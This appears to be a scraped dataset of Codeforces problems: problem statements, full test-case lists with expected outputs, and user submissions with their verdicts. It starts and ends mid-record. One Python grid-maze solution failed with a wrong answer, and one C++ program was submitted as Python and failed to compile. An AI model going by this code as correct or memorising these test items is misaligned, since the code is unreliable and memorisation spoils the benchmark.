"XX#....\nXX#.##.\nX##.##.\nXX#.#..\nXXX.#.." }, { "input": "10 10 1\n##########\n##..##..##\n#...##...#\n#.######.#\n#..####..#\n#..####..#\n#.######.#\n#........#\n##..##..##\n##########", "output": "##########\n##.X##..##\n#...##...#\n#.######.#\n#..####..#\n#..####..#\n#.######.#\n#........#\n##..##..##\n##########" }, { "input": "4 5 1\n.....\n.###.\n..#..\n..#..", "output": ".....\n.###.\n..#..\n.X#.." }, { "input": "2 5 2\n###..\n###..", "output": "###X.\n###X." }, { "input": "2 5 3\n.....\n..#..", "output": "X....\nXX#.." }, { "input": "12 12 3\n############\n#..........#\n#.########.#\n#.########.#\n#.########.#\n#.########.#\n#.########.#\n#.#######..#\n#.#######..#\n#.####..####\n#.......####\n############", "output": "############\n#..........#\n#.########.#\n#.########.#\n#.########.#\n#.########.#\n#.########.#\n#.#######X.#\n#.#######XX#\n#.####..####\n#.......####\n############" }, { "input": "5 5 1\n.....\n.##..\n..###\n..###\n#####", "output": ".....\n.##.X\n..###\n..###\n#####" }, { "input": "4 4 1\n....\n.#..\n..##\n..##", "output": "....\n.#.X\n..##\n..##" }, { "input": "5 5 1\n....#\n.##..\n.##..\n...##\n...##", "output": "....#\n.##..\n.##.X\n...##\n...##" }, { "input": "5 5 1\n.....\n.##..\n..###\n..###\n..###", "output": ".....\n.##.X\n..###\n..###\n..###" }, { "input": "4 5 1\n#....\n#.#..\n..###\n..###", "output": "#....\n#.#.X\n..###\n..###" }, { "input": "4 4 3\n....\n.#..\n..##\n..##", "output": "...X\n.#XX\n..##\n..##" }, { "input": "4 7 6\n.......\n....#..\n.##.#..\n....#..", "output": "X......\nX...#..\nX##.#..\nXXX.#.." }, { "input": "8 8 7\n........\n.##.....\n.#######\n..######\n..######\n..######\n..######\n..######", "output": ".....XXX\n.##.XXXX\n.#######\n..######\n..######\n..######\n..######\n..######" } ]
1,637,260,943
2,147,483,647
PyPy 3
WRONG_ANSWER
TESTS
9
420
50,073,600
def f(x, y): # x - row, y - col ns = [] if y-1 >= 0 and g[x][y-1] == '.': ns.append((x, y-1)) if y + 1 < m and g[x][y+1] == '.': ns.append((x, y+1)) if x-1 >= 0 and g[x-1][y] == '.': ns.append((x-1, y)) if x+1 < n and g[x+1][y] == '.': ns.append((x+1, y)) return ns n, m, k = [int(x) for x in input().split()] g = [list(input()) for _ in range(n)] #print('g', g) # find first '.' and count number of '.' start = None empty = [] for i in range(n): for j in range(m): if g[i][j] == '.': if not start: start = (i,j) empty.append((i,j)) # start dfs stack = [start] visited = set() steps = len(empty) - k # empty cells that we leave untouched to_leave = set() while stack and steps: node = stack.pop() to_leave.add(node) steps -= 1 # mark that we added all its neighbors to the stack visited.add(node) for nei in f(*node): if nei not in visited: stack.append(nei) for (x,y) in empty: if (x,y) in to_leave: continue g[x][y] = 'X' for s in g: print(''.join(s))
Title: none Time Limit: None seconds Memory Limit: None megabytes Problem Description: Pavel loves grid mazes. A grid maze is an *n*<=×<=*m* rectangle maze where each cell is either empty, or is a wall. You can go from one cell to another only if both cells are empty and have a common side. Pavel drew a grid maze with all empty cells forming a connected area. That is, you can go from any empty cell to any other one. Pavel doesn't like it when his maze has too little walls. He wants to turn exactly *k* empty cells into walls so that all the remaining cells still formed a connected area. Help him. Input Specification: The first line contains three integers *n*, *m*, *k* (1<=≤<=*n*,<=*m*<=≤<=500, 0<=≤<=*k*<=&lt;<=*s*), where *n* and *m* are the maze's height and width, correspondingly, *k* is the number of walls Pavel wants to add and letter *s* represents the number of empty cells in the original maze. Each of the next *n* lines contains *m* characters. They describe the original maze. If a character on a line equals ".", then the corresponding cell is empty and if the character equals "#", then the cell is a wall. Output Specification: Print *n* lines containing *m* characters each: the new maze that fits Pavel's requirements. Mark the empty cells that you transformed into walls as "X", the other cells must be left without changes (that is, "." and "#"). It is guaranteed that a solution exists. If there are multiple solutions you can output any of them. Demo Input: ['3 4 2\n#..#\n..#.\n#...\n', '5 4 5\n#...\n#.#.\n.#..\n...#\n.#.#\n'] Demo Output: ['#.X#\nX.#.\n#...\n', '#XXX\n#X#.\nX#..\n...#\n.#.#\n'] Note: none
```python def f(x, y): # x - row, y - col ns = [] if y-1 >= 0 and g[x][y-1] == '.': ns.append((x, y-1)) if y + 1 < m and g[x][y+1] == '.': ns.append((x, y+1)) if x-1 >= 0 and g[x-1][y] == '.': ns.append((x-1, y)) if x+1 < n and g[x+1][y] == '.': ns.append((x+1, y)) return ns n, m, k = [int(x) for x in input().split()] g = [list(input()) for _ in range(n)] #print('g', g) # find first '.' and count number of '.' start = None empty = [] for i in range(n): for j in range(m): if g[i][j] == '.': if not start: start = (i,j) empty.append((i,j)) # start dfs stack = [start] visited = set() steps = len(empty) - k # empty cells that we leave untouched to_leave = set() while stack and steps: node = stack.pop() to_leave.add(node) steps -= 1 # mark that we added all its neighbors to the stack visited.add(node) for nei in f(*node): if nei not in visited: stack.append(nei) for (x,y) in empty: if (x,y) in to_leave: continue g[x][y] = 'X' for s in g: print(''.join(s)) ```
0
807
A
Is it rated?
PROGRAMMING
900
[ "implementation", "sortings" ]
null
null
Is it rated? Here it is. The Ultimate Question of Competitive Programming, Codeforces, and Everything. And you are here to answer it. Another Codeforces round has been conducted. No two participants have the same number of points. For each participant, from the top to the bottom of the standings, their rating before and after the round is known. It's known that if at least one participant's rating has changed, then the round was rated for sure. It's also known that if the round was rated and a participant with lower rating took a better place in the standings than a participant with higher rating, then at least one round participant's rating has changed. In this problem, you should not make any other assumptions about the rating system. Determine if the current round is rated, unrated, or it's impossible to determine whether it is rated of not.
The first line contains a single integer *n* (2<=≤<=*n*<=≤<=1000) — the number of round participants. Each of the next *n* lines contains two integers *a**i* and *b**i* (1<=≤<=*a**i*,<=*b**i*<=≤<=4126) — the rating of the *i*-th participant before and after the round, respectively. The participants are listed in order from the top to the bottom of the standings.
If the round is rated for sure, print "rated". If the round is unrated for sure, print "unrated". If it's impossible to determine whether the round is rated or not, print "maybe".
[ "6\n3060 3060\n2194 2194\n2876 2903\n2624 2624\n3007 2991\n2884 2884\n", "4\n1500 1500\n1300 1300\n1200 1200\n1400 1400\n", "5\n3123 3123\n2777 2777\n2246 2246\n2246 2246\n1699 1699\n" ]
[ "rated\n", "unrated\n", "maybe\n" ]
In the first example, the ratings of the participants in the third and fifth places have changed, therefore, the round was rated. In the second example, no one's rating has changed, but the participant in the second place has lower rating than the participant in the fourth place. Therefore, if the round was rated, someone's rating would've changed for sure. In the third example, no one's rating has changed, and the participants took places in non-increasing order of their rating. Therefore, it's impossible to determine whether the round is rated or not.
500
[ { "input": "6\n3060 3060\n2194 2194\n2876 2903\n2624 2624\n3007 2991\n2884 2884", "output": "rated" }, { "input": "4\n1500 1500\n1300 1300\n1200 1200\n1400 1400", "output": "unrated" }, { "input": "5\n3123 3123\n2777 2777\n2246 2246\n2246 2246\n1699 1699", "output": "maybe" }, { "input": "2\n1 1\n1 1", "output": "maybe" }, { "input": "2\n4126 4126\n4126 4126", "output": "maybe" }, { "input": "10\n446 446\n1331 1331\n3594 3594\n1346 1902\n91 91\n3590 3590\n2437 2437\n4007 3871\n2797 699\n1423 1423", "output": "rated" }, { "input": "10\n4078 4078\n2876 2876\n1061 1061\n3721 3721\n143 143\n2992 2992\n3279 3279\n3389 3389\n1702 1702\n1110 1110", "output": "unrated" }, { "input": "10\n4078 4078\n3721 3721\n3389 3389\n3279 3279\n2992 2992\n2876 2876\n1702 1702\n1110 1110\n1061 1061\n143 143", "output": "maybe" }, { "input": "2\n3936 3936\n2967 2967", "output": "maybe" }, { "input": "2\n1 1\n2 2", "output": "unrated" }, { "input": "2\n2 2\n1 1", "output": "maybe" }, { "input": "2\n2 1\n1 2", "output": "rated" }, { "input": "2\n2967 2967\n3936 3936", "output": "unrated" }, { "input": "3\n1200 1200\n1200 1200\n1300 1300", "output": "unrated" }, { "input": "3\n3 3\n2 2\n1 1", "output": "maybe" }, { "input": "3\n1 1\n1 1\n2 2", "output": "unrated" }, { "input": "2\n3 2\n3 2", "output": "rated" }, { "input": "3\n5 5\n4 4\n3 4", "output": "rated" }, { "input": "3\n200 200\n200 200\n300 300", "output": "unrated" }, { "input": "3\n1 1\n2 2\n3 3", "output": "unrated" }, { "input": "5\n3123 3123\n2777 2777\n2246 2246\n2245 2245\n1699 1699", "output": "maybe" }, { "input": "2\n10 10\n8 8", "output": "maybe" }, { "input": "3\n1500 1500\n1500 1500\n1600 1600", "output": "unrated" }, { "input": "3\n1500 1500\n1500 1500\n1700 1700", "output": "unrated" }, { "input": "4\n100 100\n100 100\n70 70\n80 80", "output": "unrated" }, { "input": "2\n1 2\n2 1", "output": "rated" }, { "input": "3\n5 5\n4 3\n3 3", "output": "rated" }, { "input": "3\n1600 1650\n1500 1550\n1400 1450", "output": "rated" }, { "input": "4\n2000 2000\n1500 1500\n1500 1500\n1700 1700", "output": "unrated" }, { "input": "4\n1500 1500\n1400 1400\n1400 1400\n1700 1700", "output": "unrated" }, { "input": "2\n1600 1600\n1400 1400", "output": "maybe" }, { "input": "2\n3 1\n9 8", "output": "rated" }, { "input": "2\n2 1\n1 1", "output": "rated" }, { "input": "4\n4123 4123\n4123 4123\n2670 2670\n3670 3670", "output": "unrated" }, { "input": "2\n2 2\n3 3", "output": "unrated" }, { "input": "2\n10 11\n5 4", "output": "rated" }, { "input": "2\n15 14\n13 12", "output": "rated" }, { "input": "2\n2 1\n2 2", "output": "rated" }, { "input": "3\n2670 2670\n3670 3670\n4106 4106", "output": "unrated" }, { "input": "3\n4 5\n3 3\n2 2", "output": "rated" }, { "input": "2\n10 9\n10 10", "output": "rated" }, { "input": "3\n1011 1011\n1011 999\n2200 2100", "output": "rated" }, { "input": "2\n3 3\n5 5", "output": "unrated" }, { "input": "2\n1500 1500\n3000 2000", "output": "rated" }, { "input": "2\n5 6\n5 5", "output": "rated" }, { "input": "3\n2000 2000\n1500 1501\n500 500", "output": "rated" }, { "input": "2\n2 3\n2 2", "output": "rated" }, { "input": "2\n3 3\n2 2", "output": "maybe" }, { "input": "2\n1 2\n1 1", "output": "rated" }, { "input": "4\n3123 3123\n2777 2777\n2246 2246\n1699 1699", "output": "maybe" }, { "input": "2\n15 14\n14 13", "output": "rated" }, { "input": "4\n3000 3000\n2900 2900\n3000 3000\n2900 2900", "output": "unrated" }, { "input": "6\n30 3060\n24 2194\n26 2903\n24 2624\n37 2991\n24 2884", "output": "rated" }, { "input": "2\n100 99\n100 100", "output": "rated" }, { "input": "4\n2 2\n1 1\n1 1\n2 2", "output": "unrated" }, { "input": "3\n100 101\n100 100\n100 100", "output": "rated" }, { "input": "4\n1000 1001\n900 900\n950 950\n890 890", "output": "rated" }, { "input": "2\n2 3\n1 1", "output": "rated" }, { "input": "2\n2 2\n1 1", "output": "maybe" }, { "input": "2\n3 2\n2 2", "output": "rated" }, { "input": "2\n3 2\n3 3", "output": "rated" }, { "input": "2\n1 1\n2 2", "output": "unrated" }, { "input": "3\n3 2\n3 3\n3 3", "output": "rated" }, { "input": "4\n1500 1501\n1300 1300\n1200 1200\n1400 1400", "output": "rated" }, { "input": "3\n1000 1000\n500 500\n400 300", "output": "rated" }, { "input": "5\n3123 3123\n2777 2777\n2246 2246\n2246 2246\n3000 3000", "output": "unrated" }, { "input": "2\n1 1\n2 3", "output": "rated" }, { "input": "2\n6 2\n6 2", "output": "rated" }, { "input": "5\n3123 3123\n1699 1699\n2777 2777\n2246 2246\n2246 2246", "output": "unrated" }, { "input": "2\n1500 1500\n1600 1600", "output": "unrated" }, { "input": "5\n3123 3123\n2777 2777\n2246 2246\n2241 2241\n1699 1699", "output": "maybe" }, { "input": "2\n20 30\n10 5", "output": "rated" }, { "input": "3\n1 1\n2 2\n1 1", "output": "unrated" }, { "input": "2\n1 2\n3 3", "output": "rated" }, { "input": "5\n5 5\n4 4\n3 3\n2 2\n1 1", "output": "maybe" }, { "input": "2\n2 2\n2 1", "output": "rated" }, { "input": "2\n100 100\n90 89", "output": "rated" }, { "input": "2\n1000 900\n2000 2000", "output": "rated" }, { "input": "2\n50 10\n10 50", "output": "rated" }, { "input": "2\n200 200\n100 100", "output": "maybe" }, { "input": "3\n2 2\n2 2\n3 3", "output": "unrated" }, { "input": "3\n1000 1000\n300 300\n100 100", "output": "maybe" }, { "input": "4\n2 2\n2 2\n3 3\n4 4", "output": "unrated" }, { "input": "2\n5 3\n6 3", "output": "rated" }, { "input": "2\n1200 1100\n1200 1000", "output": "rated" }, { "input": "2\n5 5\n4 4", "output": "maybe" }, { "input": "2\n5 5\n3 3", "output": "maybe" }, { "input": "5\n1500 1500\n1300 1300\n1200 1200\n1400 1400\n1100 1100", "output": "unrated" }, { "input": "5\n10 10\n9 9\n8 8\n7 7\n6 6", "output": "maybe" }, { "input": "3\n1000 1000\n300 300\n10 10", "output": "maybe" }, { "input": "5\n6 6\n5 5\n4 4\n3 3\n2 2", "output": "maybe" }, { "input": "2\n3 3\n1 1", "output": "maybe" }, { "input": "4\n2 2\n2 2\n2 2\n3 3", "output": "unrated" }, { "input": "2\n1000 1000\n700 700", "output": "maybe" }, { "input": "2\n4 3\n5 3", "output": "rated" }, { "input": "2\n1000 1000\n1100 1100", "output": "unrated" }, { "input": "4\n5 5\n4 4\n3 3\n2 2", "output": "maybe" }, { "input": "3\n1 1\n2 3\n2 2", "output": "rated" }, { "input": "2\n1 2\n1 3", "output": "rated" }, { "input": "2\n3 3\n1 2", "output": "rated" }, { "input": "4\n1501 1500\n1300 1300\n1200 1200\n1400 1400", "output": "rated" }, { "input": "5\n1 1\n2 2\n3 3\n4 4\n5 5", "output": "unrated" }, { "input": "2\n10 10\n1 2", "output": "rated" }, { "input": "6\n3123 3123\n2777 2777\n2246 2246\n2246 2246\n1699 1699\n1900 1900", "output": "unrated" }, { "input": "6\n3123 3123\n2777 2777\n3000 3000\n2246 2246\n2246 2246\n1699 1699", "output": "unrated" }, { "input": "2\n100 100\n110 110", "output": "unrated" }, { "input": "3\n3 3\n3 3\n4 4", "output": "unrated" }, { "input": "3\n3 3\n3 2\n4 4", "output": "rated" }, { "input": "3\n5 2\n4 4\n3 3", "output": "rated" }, { "input": "4\n4 4\n3 3\n2 2\n1 1", "output": "maybe" }, { "input": "2\n1 1\n3 2", "output": "rated" }, { "input": "5\n3123 3123\n2777 2777\n2246 2246\n2246 2246\n2699 2699", "output": "unrated" }, { "input": "3\n3 3\n3 3\n3 4", "output": "rated" }, { "input": "3\n1 2\n2 2\n3 3", "output": "rated" }, { "input": "3\n1 2\n1 2\n1 2", "output": "rated" }, { "input": "2\n2 1\n2 1", "output": "rated" }, { "input": "2\n1 2\n3 4", "output": "rated" }, { "input": "2\n3 2\n2 3", "output": "rated" }, { "input": "3\n1500 1500\n1600 1600\n1600 1600", "output": "unrated" }, { "input": "3\n1 1\n3 3\n4 4", "output": "unrated" }, { "input": "3\n1 1\n2 2\n2 2", "output": "unrated" }, { "input": "2\n10 12\n8 8", "output": "rated" }, { "input": "5\n1200 1200\n1500 1500\n1500 1500\n1500 1500\n1500 1500", "output": "unrated" }, { "input": "2\n1 2\n2 2", "output": "rated" }, { "input": "3\n1500 1400\n1200 1200\n1100 1100", "output": "rated" }, { "input": "2\n10 12\n10 10", "output": "rated" }, { "input": "3\n1500 1500\n1400 1400\n1300 1300", "output": "maybe" }, { "input": "3\n3 3\n4 4\n5 5", "output": "unrated" }, { "input": "3\n2 6\n3 5\n4 4", "output": "rated" }, { "input": "2\n5 6\n4 6", "output": "rated" }, { "input": "4\n10 10\n10 10\n7 7\n8 8", "output": "unrated" }, { "input": "2\n4 4\n3 3", "output": "maybe" } ]
1,656,821,385
2,147,483,647
PyPy 3-64
COMPILATION_ERROR
TESTS
0
0
0
#include<bits/stdc++.h> using namespace std; #define FOR(i,init,n) for(int i=init;i<n;i++) typedef unsigned long long ull; bool custom(pair<int,int> a,pair<int,int> b){ if(a.first == b.first){ return a.second < b.second; } return a.first > b.first; } int main(){ int n; cin>>n; vector<pair<int,int>> a; vector<pair<int,int>> b; int x; bool changed = false; FOR(i, 0, n){ cin>>x; a.emplace_back(x,i); cin>>x; b.emplace_back(x,i); if(a[i].first != b[i].first){ changed = true; } } if(changed){ cout<<"rated"<<endl; return 0; } sort(a.begin(),a.end(),custom); int cmin = 0; changed = false; FOR(i,0,n){ if(cmin!=a[i].second){ cout<<cmin<<a[i].second<<endl; changed = true; break; } cmin++; } if(changed){ cout<<"unrated"<<endl; } else{ cout<<"maybe"<<endl; } }
Title: Is it rated? Time Limit: None seconds Memory Limit: None megabytes Problem Description: Is it rated? Here it is. The Ultimate Question of Competitive Programming, Codeforces, and Everything. And you are here to answer it. Another Codeforces round has been conducted. No two participants have the same number of points. For each participant, from the top to the bottom of the standings, their rating before and after the round is known. It's known that if at least one participant's rating has changed, then the round was rated for sure. It's also known that if the round was rated and a participant with lower rating took a better place in the standings than a participant with higher rating, then at least one round participant's rating has changed. In this problem, you should not make any other assumptions about the rating system. Determine if the current round is rated, unrated, or it's impossible to determine whether it is rated of not. Input Specification: The first line contains a single integer *n* (2<=≤<=*n*<=≤<=1000) — the number of round participants. Each of the next *n* lines contains two integers *a**i* and *b**i* (1<=≤<=*a**i*,<=*b**i*<=≤<=4126) — the rating of the *i*-th participant before and after the round, respectively. The participants are listed in order from the top to the bottom of the standings. Output Specification: If the round is rated for sure, print "rated". If the round is unrated for sure, print "unrated". If it's impossible to determine whether the round is rated or not, print "maybe". Demo Input: ['6\n3060 3060\n2194 2194\n2876 2903\n2624 2624\n3007 2991\n2884 2884\n', '4\n1500 1500\n1300 1300\n1200 1200\n1400 1400\n', '5\n3123 3123\n2777 2777\n2246 2246\n2246 2246\n1699 1699\n'] Demo Output: ['rated\n', 'unrated\n', 'maybe\n'] Note: In the first example, the ratings of the participants in the third and fifth places have changed, therefore, the round was rated. In the second example, no one's rating has changed, but the participant in the second place has lower rating than the participant in the fourth place. Therefore, if the round was rated, someone's rating would've changed for sure. In the third example, no one's rating has changed, and the participants took places in non-increasing order of their rating. Therefore, it's impossible to determine whether the round is rated or not.
```python #include<bits/stdc++.h> using namespace std; #define FOR(i,init,n) for(int i=init;i<n;i++) typedef unsigned long long ull; bool custom(pair<int,int> a,pair<int,int> b){ if(a.first == b.first){ return a.second < b.second; } return a.first > b.first; } int main(){ int n; cin>>n; vector<pair<int,int>> a; vector<pair<int,int>> b; int x; bool changed = false; FOR(i, 0, n){ cin>>x; a.emplace_back(x,i); cin>>x; b.emplace_back(x,i); if(a[i].first != b[i].first){ changed = true; } } if(changed){ cout<<"rated"<<endl; return 0; } sort(a.begin(),a.end(),custom); int cmin = 0; changed = false; FOR(i,0,n){ if(cmin!=a[i].second){ cout<<cmin<<a[i].second<<endl; changed = true; break; } cmin++; } if(changed){ cout<<"unrated"<<endl; } else{ cout<<"maybe"<<endl; } } ```
-1
814
A
An abandoned sentiment from past
PROGRAMMING
900
[ "constructive algorithms", "greedy", "implementation", "sortings" ]
null
null
A few years ago, Hitagi encountered a giant crab, who stole the whole of her body weight. Ever since, she tried to avoid contact with others, for fear that this secret might be noticed. To get rid of the oddity and recover her weight, a special integer sequence is needed. Hitagi's sequence has been broken for a long time, but now Kaiki provides an opportunity. Hitagi's sequence *a* has a length of *n*. Lost elements in it are denoted by zeros. Kaiki provides another sequence *b*, whose length *k* equals the number of lost elements in *a* (i.e. the number of zeros). Hitagi is to replace each zero in *a* with an element from *b* so that each element in *b* should be used exactly once. Hitagi knows, however, that, apart from 0, no integer occurs in *a* and *b* more than once in total. If the resulting sequence is not an increasing sequence, then it has the power to recover Hitagi from the oddity. You are to determine whether this is possible, or Kaiki's sequence is just another fake. In other words, you should detect whether it is possible to replace each zero in *a* with an integer from *b* so that each integer from *b* is used exactly once, and the resulting sequence is not increasing.
The first line of input contains two space-separated positive integers *n* (2<=≤<=*n*<=≤<=100) and *k* (1<=≤<=*k*<=≤<=*n*) — the lengths of sequence *a* and *b* respectively. The second line contains *n* space-separated integers *a*1,<=*a*2,<=...,<=*a**n* (0<=≤<=*a**i*<=≤<=200) — Hitagi's broken sequence with exactly *k* zero elements. The third line contains *k* space-separated integers *b*1,<=*b*2,<=...,<=*b**k* (1<=≤<=*b**i*<=≤<=200) — the elements to fill into Hitagi's sequence. Input guarantees that apart from 0, no integer occurs in *a* and *b* more than once in total.
Output "Yes" if it's possible to replace zeros in *a* with elements in *b* and make the resulting sequence not increasing, and "No" otherwise.
[ "4 2\n11 0 0 14\n5 4\n", "6 1\n2 3 0 8 9 10\n5\n", "4 1\n8 94 0 4\n89\n", "7 7\n0 0 0 0 0 0 0\n1 2 3 4 5 6 7\n" ]
[ "Yes\n", "No\n", "Yes\n", "Yes\n" ]
In the first sample: - Sequence *a* is 11, 0, 0, 14. - Two of the elements are lost, and the candidates in *b* are 5 and 4. - There are two possible resulting sequences: 11, 5, 4, 14 and 11, 4, 5, 14, both of which fulfill the requirements. Thus the answer is "Yes". In the second sample, the only possible resulting sequence is 2, 3, 5, 8, 9, 10, which is an increasing sequence and therefore invalid.
500
[ { "input": "4 2\n11 0 0 14\n5 4", "output": "Yes" }, { "input": "6 1\n2 3 0 8 9 10\n5", "output": "No" }, { "input": "4 1\n8 94 0 4\n89", "output": "Yes" }, { "input": "7 7\n0 0 0 0 0 0 0\n1 2 3 4 5 6 7", "output": "Yes" }, { "input": "40 1\n23 26 27 28 31 35 38 40 43 50 52 53 56 57 59 61 65 73 75 76 79 0 82 84 85 86 88 93 99 101 103 104 105 106 110 111 112 117 119 120\n80", "output": "No" }, { "input": "100 1\n99 95 22 110 47 20 37 34 23 0 16 69 64 49 111 42 112 96 13 40 18 77 44 46 74 55 15 54 56 75 78 100 82 101 31 83 53 80 52 63 30 57 104 36 67 65 103 51 48 26 68 59 35 92 85 38 107 98 73 90 62 43 32 89 19 106 17 88 41 72 113 86 66 102 81 27 29 50 71 79 109 91 70 39 61 76 93 84 108 97 24 25 45 105 94 60 33 87 14 21\n58", "output": "Yes" }, { "input": "4 1\n2 1 0 4\n3", "output": "Yes" }, { "input": "2 1\n199 0\n200", "output": "No" }, { "input": "3 2\n115 0 0\n145 191", "output": "Yes" }, { "input": "5 1\n196 197 198 0 200\n199", "output": "No" }, { "input": "5 1\n92 0 97 99 100\n93", "output": "No" }, { "input": "3 1\n3 87 0\n81", "output": "Yes" }, { "input": "3 1\n0 92 192\n118", "output": "Yes" }, { "input": "10 1\n1 3 0 7 35 46 66 72 83 90\n22", "output": "Yes" }, { "input": "100 1\n14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 0 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113\n67", "output": "No" }, { "input": "100 5\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 0 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 0 53 54 0 56 57 58 59 60 61 62 63 0 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 0 99 100\n98 64 55 52 29", "output": "Yes" }, { "input": "100 5\n175 30 124 0 12 111 6 0 119 108 0 38 127 3 151 114 95 54 4 128 91 11 168 120 80 107 18 21 149 169 0 141 195 20 78 157 33 118 17 69 105 130 197 57 74 110 138 84 71 172 132 93 191 44 152 156 24 101 146 26 2 36 143 122 104 42 103 97 39 116 115 0 155 87 53 85 7 43 65 196 136 154 16 79 45 129 67 150 35 73 55 76 37 147 112 82 162 58 40 75\n121 199 62 193 27", "output": "Yes" }, { "input": "100 1\n1 2 3 4 5 6 7 8 9 0 10 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100\n11", "output": "Yes" }, { "input": "100 1\n0 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100\n1", "output": "No" }, { "input": "100 1\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 0\n100", "output": "No" }, { "input": "100 1\n9 79 7 98 10 50 28 99 43 74 89 20 32 66 23 45 87 78 81 41 86 71 75 85 5 39 14 53 42 48 40 52 3 51 11 34 35 76 77 61 47 19 55 91 62 56 8 72 88 4 33 0 97 92 31 83 18 49 54 21 17 16 63 44 84 22 2 96 70 36 68 60 80 82 13 73 26 94 27 58 1 30 100 38 12 15 93 90 57 59 67 6 64 46 25 29 37 95 69 24\n65", "output": "Yes" }, { "input": "100 2\n0 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 0 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100\n48 1", "output": "Yes" }, { "input": "100 1\n2 7 11 17 20 22 23 24 25 27 29 30 31 33 34 35 36 38 39 40 42 44 46 47 50 52 53 58 59 60 61 62 63 66 0 67 71 72 75 79 80 81 86 91 93 94 99 100 101 102 103 104 105 108 109 110 111 113 114 118 119 120 122 123 127 129 130 131 132 133 134 135 136 138 139 140 141 142 147 154 155 156 160 168 170 171 172 176 179 180 181 182 185 186 187 188 189 190 194 198\n69", "output": "Yes" }, { "input": "100 1\n3 5 7 9 11 12 13 18 20 21 22 23 24 27 28 29 31 34 36 38 39 43 46 48 49 50 52 53 55 59 60 61 62 63 66 68 70 72 73 74 75 77 78 79 80 81 83 85 86 88 89 91 92 94 97 98 102 109 110 115 116 117 118 120 122 126 127 128 0 133 134 136 137 141 142 144 145 147 151 152 157 159 160 163 164 171 172 175 176 178 179 180 181 184 186 188 190 192 193 200\n129", "output": "No" }, { "input": "5 2\n0 2 7 0 10\n1 8", "output": "Yes" }, { "input": "3 1\n5 4 0\n1", "output": "Yes" }, { "input": "3 1\n1 0 3\n4", "output": "Yes" }, { "input": "2 1\n0 2\n1", "output": "No" }, { "input": "2 1\n0 5\n7", "output": "Yes" }, { "input": "5 1\n10 11 0 12 13\n1", "output": "Yes" }, { "input": "5 1\n0 2 3 4 5\n6", "output": "Yes" }, { "input": "6 2\n1 0 3 4 0 6\n2 5", "output": "Yes" }, { "input": "7 2\n1 2 3 0 0 6 7\n4 5", "output": "Yes" }, { "input": "4 1\n1 2 3 0\n4", "output": "No" }, { "input": "2 2\n0 0\n1 2", "output": "Yes" }, { "input": "3 2\n1 0 0\n2 3", "output": "Yes" }, { "input": "4 2\n1 0 4 0\n5 2", "output": "Yes" }, { "input": "2 1\n0 1\n2", "output": "Yes" }, { "input": "5 2\n1 0 4 0 6\n2 5", "output": "Yes" }, { "input": "5 1\n2 3 0 4 5\n1", "output": "Yes" }, { "input": "3 1\n0 2 3\n5", "output": "Yes" }, { "input": "6 1\n1 2 3 4 5 0\n6", "output": "No" }, { "input": "5 1\n1 2 0 4 5\n6", "output": "Yes" }, { "input": "3 1\n5 0 2\n7", "output": "Yes" }, { "input": "4 1\n4 5 0 8\n3", "output": "Yes" }, { "input": "5 1\n10 11 12 0 14\n13", "output": "No" }, { "input": "4 1\n1 2 0 4\n5", "output": "Yes" }, { "input": "3 1\n0 11 14\n12", "output": "Yes" }, { "input": "4 1\n1 3 0 4\n2", "output": "Yes" }, { "input": "2 1\n0 5\n1", "output": "No" }, { "input": "5 1\n1 2 0 4 7\n5", "output": "Yes" }, { "input": "3 1\n2 3 0\n1", "output": "Yes" }, { "input": "6 1\n1 2 3 0 5 4\n6", "output": "Yes" }, { "input": "4 2\n11 0 0 14\n13 12", "output": "Yes" }, { "input": "2 1\n1 0\n2", "output": "No" }, { "input": "3 1\n1 2 0\n3", "output": "No" }, { "input": "4 1\n1 0 3 2\n4", "output": "Yes" }, { "input": "3 1\n0 1 2\n5", "output": "Yes" }, { "input": "3 1\n0 1 2\n3", "output": "Yes" }, { "input": "4 1\n0 2 3 4\n5", "output": "Yes" }, { "input": "6 1\n1 2 3 0 4 5\n6", "output": "Yes" }, { "input": "3 1\n1 2 0\n5", "output": "No" }, { "input": "4 2\n1 0 0 4\n3 2", "output": "Yes" }, { "input": "5 1\n2 3 0 5 7\n6", "output": "Yes" }, { "input": "3 1\n2 3 0\n4", "output": "No" }, { "input": "3 1\n1 0 11\n5", "output": "No" }, { "input": "4 1\n7 9 5 0\n8", "output": "Yes" }, { "input": "6 2\n1 2 3 0 5 0\n6 4", "output": "Yes" }, { "input": "3 2\n0 1 0\n3 2", "output": "Yes" }, { "input": "4 1\n6 9 5 0\n8", "output": "Yes" }, { "input": "2 1\n0 